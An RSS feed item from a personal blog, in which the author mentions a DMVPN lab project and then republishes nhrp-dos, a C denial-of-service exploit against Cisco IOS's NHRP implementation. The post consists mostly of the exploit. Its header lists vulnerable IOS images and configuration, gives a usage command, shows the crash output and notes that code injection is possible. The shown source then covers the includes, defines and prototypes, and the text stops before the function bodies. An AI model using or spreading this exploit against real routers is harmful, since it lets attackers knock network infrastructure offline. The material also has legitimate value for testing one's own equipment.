<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Exploit on Details...</title>
    <link>https://www.deepreflect.net/tags/exploit/</link>
    <description>Recent content in Exploit on Details...</description>
    <generator>Hugo</generator>
    <language>en-US</language>
    <copyright>Copyright © 2003 - 2026 Leonardo Rizzi</copyright>
    <lastBuildDate>Tue, 30 Jun 2026 03:28:29 +0200</lastBuildDate>
    <atom:link href="https://www.deepreflect.net/tags/exploit/feed.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Cisco DMVPN/NBMA - Security</title>
      <link>https://www.deepreflect.net/2009/09/16/cisco-dmvpn-nbma-security/</link>
      <pubDate>Wed, 16 Sep 2009 01:54:46 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=708</guid> 
      <description>&lt;p&gt;I&amp;rsquo;m working on experimental wide lab network based on DMVPN/NBMA, with some friends, dynamic multipoing vpn is seem a great solution, looks like a cheap frame relay infrastructure over internet.&lt;/p&gt;
&lt;p&gt;Now the problem: what about security?
especially in dynamical wan ip address envivorment durin spoke-spoke communication, is impossible define security rule on GRE level.&lt;/p&gt;
&lt;p&gt;Solution:
I&amp;rsquo;m thinking about&amp;hellip;&lt;/p&gt;
&lt;p&gt;Only for testing purpose, I find this exploit:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/******************************************************************************/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* nhrp-dos - Copyright by Martin Kluge, &amp;lt;mk@elxsi.de&amp;gt;                        */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Feel free to modify this code as you like, as long as you include the      */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* above copyright statement.                                                 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Please use this code only to check your OWN cisco routers.                 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Cisco bug ID: CSCin95836                                                   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* The Next-Hop-Resolution Protocol (NHRP) is defined in RFC2332. It is used  */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* by a source host/router connected to a Non-Broadcast-Multi-Access (NBMA)   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* subnetwork to determine the internetworking layer address and NBMA         */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* subnetwork addresses of the NBMA next hop towards the destination.         */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP is often used for dynamic multipoint VPNs (DMVPN) in combination with */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* IPSEC.                                                                     */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* URLs:                                                                      */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* - [RFC2332/NHRP]       http://rfc.net/rfc2332.html                         */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* - [RFC1701/GRE]        http://rfc.net/rfc1701.html                         */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* - [DMVPNs with Cisco]  http://www.cisco.com/en/US/tech/tk583/tk372/techno  */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                        logies_white_paper09186a008018983e.shtml            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* This code was only tested on FreeBSD and Linux, no warranty is or will be  */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* provided.                                                                  */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Vulnerable images (tested):                                                */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  - c7100-jk9o3s-mz.123-12e.bin                                             */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  - c7200-jk8o3s-mz.122-40.bin                                              */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  - c3640-js-mz.122-15.T17.bin                                              */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* (and many other IOS versions on different platforms)                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Vulnerable configuration on cisco IOS:                                     */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* interface Tunnel0                                                          */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip address 10.0.0.1 255.255.255.128                                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  no ip redirects                                                           */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  no ip proxy-arp                                                           */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip mtu 1464                                                               */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip nhrp authentication mysecret                                           */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip nhrp network-id 1000                                                   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip nhrp map multicast dynamic                                             */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip nhrp server-only                                                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip nhrp holdtime 30                                                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  tunnel source FastEthernet0/0                                             */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  tunnel mode gre multipoint                                                */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  tunnel key 123456789                                                      */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* This exploit works even if &amp;#34;ip nhrp authentication&amp;#34; is configured on the   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* cisco router. You can also specify a GRE key (use 0 to disable this        */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* feature) if the GRE tunnel is protected. You don&amp;#39;t need to know the        */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP network id (or any other configuration details, except the GRE key if */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* it is set on the target router).                                           */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NOTE: The exploit only seems to work, if a NHRP session between the target */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*       router and at least one client is established.                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Code injection is also possible (thanks to sky for pointing this out), but */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* it is not very easy and depends heavily on the IOS version / platform.     */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Example:                                                                   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* root@elxsi# ./nhrp-dos vr0 x.x.x.x 123456789                               */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Router console output:                                                     */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* -Traceback= 605D89A0 605D6B50 605BD974 605C08CC 605C2598 605C27E8          */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* $0 : 00000000, AT : 62530000, v0 : 62740000, v1 : 62740000                 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* &amp;lt;snip&amp;gt;                                                                     */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* EPC : 605D89A0, ErrorEPC : BFC01654, SREG : 3400FF03                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Cause 00000024 (Code 0x9): Breakpoint exception                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Writing crashinfo to bootflash:crashinfo_20070321-155011                   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* === Flushing messages (16:50:12 CET Wed Mar 21 2007) ===                   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Router reboots or sometimes hangs ;)                                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Workaround: Disable NHRP ;)                                                */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* I&amp;#39;d like to thank the Cisco PSIRT and Clay Seaman-Kossmey for their help   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* regarding this issue.                                                      */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Greetings fly to: sky, chilli, arbon, ripp, huega, gh0st, argonius, s0uls, */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                   xhr, bullet, nanoc, spekul, kaner, d, slobo, conny, H-Ra */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                   and #infiniteVOID                                        */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/******************************************************************************/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;netdb.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;arpa/inet.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;sys/ioctl.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;net/if.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;netinet/in_systm.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;netinet/ip.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* BSD */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define _BSD
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Header sizes */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define IP_HDR_SIZE     20
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define GRE_HDR_SIZE    4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define GRE_KEY_SIZE    4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define NHRP_HDR_SIZE   62
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Function prototypes */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;open_socket&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;close_socket&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;send_dos&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;resolve_ip&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_int_ipv4&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Globals */&lt;/span&gt;
